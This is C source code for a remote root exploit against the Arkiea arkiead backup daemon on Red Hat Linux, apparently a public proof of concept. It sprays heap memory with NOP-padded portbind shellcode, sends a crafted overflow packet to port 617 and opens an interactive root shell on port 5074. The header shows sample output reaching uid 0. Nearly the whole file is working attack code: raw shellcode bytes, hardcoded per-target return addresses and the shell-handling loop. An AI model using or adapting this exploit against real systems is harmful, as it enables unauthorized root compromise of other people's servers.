/*
 * Knox Arkiea arkiead local/remote root exploit.
 *
 * Portbind 5074 shellcode
 *
 * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
 * 
 * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
 * A previous request forces a large allocation of NOP's + shellcode in heap
 * memory.  Find additional targets by searching the heap for NOP's after a 
 * crash.  safeaddr must point to any area of memory that is read/writable
 * and won't mess with program/shellcode flow. 
 *
 * ./ark_sink host targetnum 
 * [user@host dir]$ ./ark_sink 192.168.1.2 1
 * [*] Connected to 192.168.1.2:617
 * [*] Connected to 192.168.1.2:617
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Sending overflow
 * [*] Done
 * [*] Sleeping and connecting remote shell
 * [*] Connected to 192.168.1.2:5074
 * [*] Success, enjoy
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


#define BUFLEN		10000		/* for getshell()  		*/
#define LEN 		280		/* overflow packet data section */
#define HEAD_LEN 	8		/* overflow packet header	*/
#define NOP_LEN		10000		/* nop+shellcode packet 	*/
#define	ARK_PORT	617
#define SHELL_PORT	5074
#define NOP 		0x90
#define NUMTARGS	2

struct {
	char 		*os;
	unsigned int	targret;
	unsigned int	targsafe;
} targets[] = {
	{ "Redhat 8.0", 0x80ecf90, 0x080eb940 },
	{ "Redhat 7.2", 0x80eddc0, 0x080eb940 },
	NULL
};


/* portbind 5074 */
const char shellcode[] = 
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned int resolve(char *hostname)
{
	u_long 	ip = 0;
	struct hostent	*hoste;

	if ((int)(ip = inet_addr(hostname)) == -1)
	{
		if ((hoste = gethostbyname(hostname)) == NULL)
		{
			herror("[!] gethostbyname");
			exit(-1);
		}
		memcpy(&ip, hoste->h_addr, hoste->h_length);
	}
	return(ip);
}


int isock(char *hostname, int portnum)
{
	struct sockaddr_in	sock_a;
	int			num, sock;
	unsigned int		ip;
	fd_set			input;

	sock_a.sin_family = AF_INET;
	sock_a.sin_port = htons(portnum);
	sock_a.sin_addr.s_addr = resolve(hostname);

	if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		herror("[!] accept");
		exit(-1);
	}
	
	if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
	{
		herror("[!] connect");
		exit(-1);
	}
	
	fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
	return(sock);
	
}

int getshell(int sock)
{

	char	buf[BUFLEN];
	int	nread=0;

  	while(1) 
	{ 
    		fd_set input; 
    		FD_SET(0,&input); 
    		FD_SET(sock,&input); 
    		select(sock+1,&input,NULL,NULL,NULL); 
    	
		if(FD_ISSET(sock,&input)) 
		{ 
      			nread=read(sock,buf,BUFLEN); 
      			write(1,buf,nread); 
     		} 
     		if(FD_ISSET(0,&input)) 
     			write(sock,buf,read(0,buf,BUFLEN)); 
  	} 
}

int usage(char *progname)
{
	int 	i;

	fprintf(stderr, "Usage:\n./%s hostname target_num\n");
	for (i = 0; targets[i].os; i++)
		fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
	exit(-1);
}

int main( int argc, char **argv)
{

	/* first 2 bytes are a type 74 request */
	/* last two bytes length */
	char 		head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
	char 		data[512];
	char		sc_req[20000];
	char		*host;
	unsigned int		tnum;
	unsigned int 	safeaddr;
	unsigned int 	ret;
	int		datalen		= LEN;
	int		port		= ARK_PORT;
	unsigned int	addr		= 0;
	int		sock_overflow, sock_nops, sock_shell;
	int 		i;

	if (argc == 3)
	{
		host = argv[1];
		tnum = atoi(argv[2]);
		if (tnum > NUMTARGS || tnum == 0)
		{
			fprintf(stderr, "[!] Invalid target\n");
			usage(argv[0]);
		}
	}
	else
	{
		usage(argv[0]);
	}
	
	tnum--;
	ret = targets[tnum].targret;
	safeaddr = targets[tnum].targsafe;

	sock_overflow = sock_nops = sock_shell = 0;
	sock_nops = isock(host, port);
	sock_overflow = isock(host, port);

	// build data section of overflow packet
	memset(data, 0x90, datalen);
	for (i = 0; i < datalen; i += 4)
		memcpy(data+i, (char *)&ret, 4);
	// we overwrite a pointer that must be a valid address
	memcpy(data+datalen-12, (char *)&safeaddr, 4); 

	// build header of overflow packet
	datalen = ntohs(datalen);
	memcpy(head+6, (char *)&datalen, 2);

	// build invalid packet with nops+shellcode
	memset(sc_req, 0x90, NOP_LEN+1);
	memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

	// send invalid nop+shellcode packet
	fprintf(stderr, "[*] Sending nops+shellcode\n");
	write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode)); 
	fprintf(stderr, "[*] Done, sleeping\n");
	sleep(1);
	close(sock_nops);

	// send overflow
	fprintf(stderr, "[*] Sending overflow\n");
	write(sock_overflow, head, HEAD_LEN);
	write(sock_overflow, data, LEN);
	fprintf(stderr, "[*] Done\n");
	fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
	sleep (1);
	close(sock_overflow);

	// connect to shell
	sock_shell = isock(host, SHELL_PORT);
	fprintf(stderr, "[*] Success, enjoy\n");
	getshell(sock_shell);

}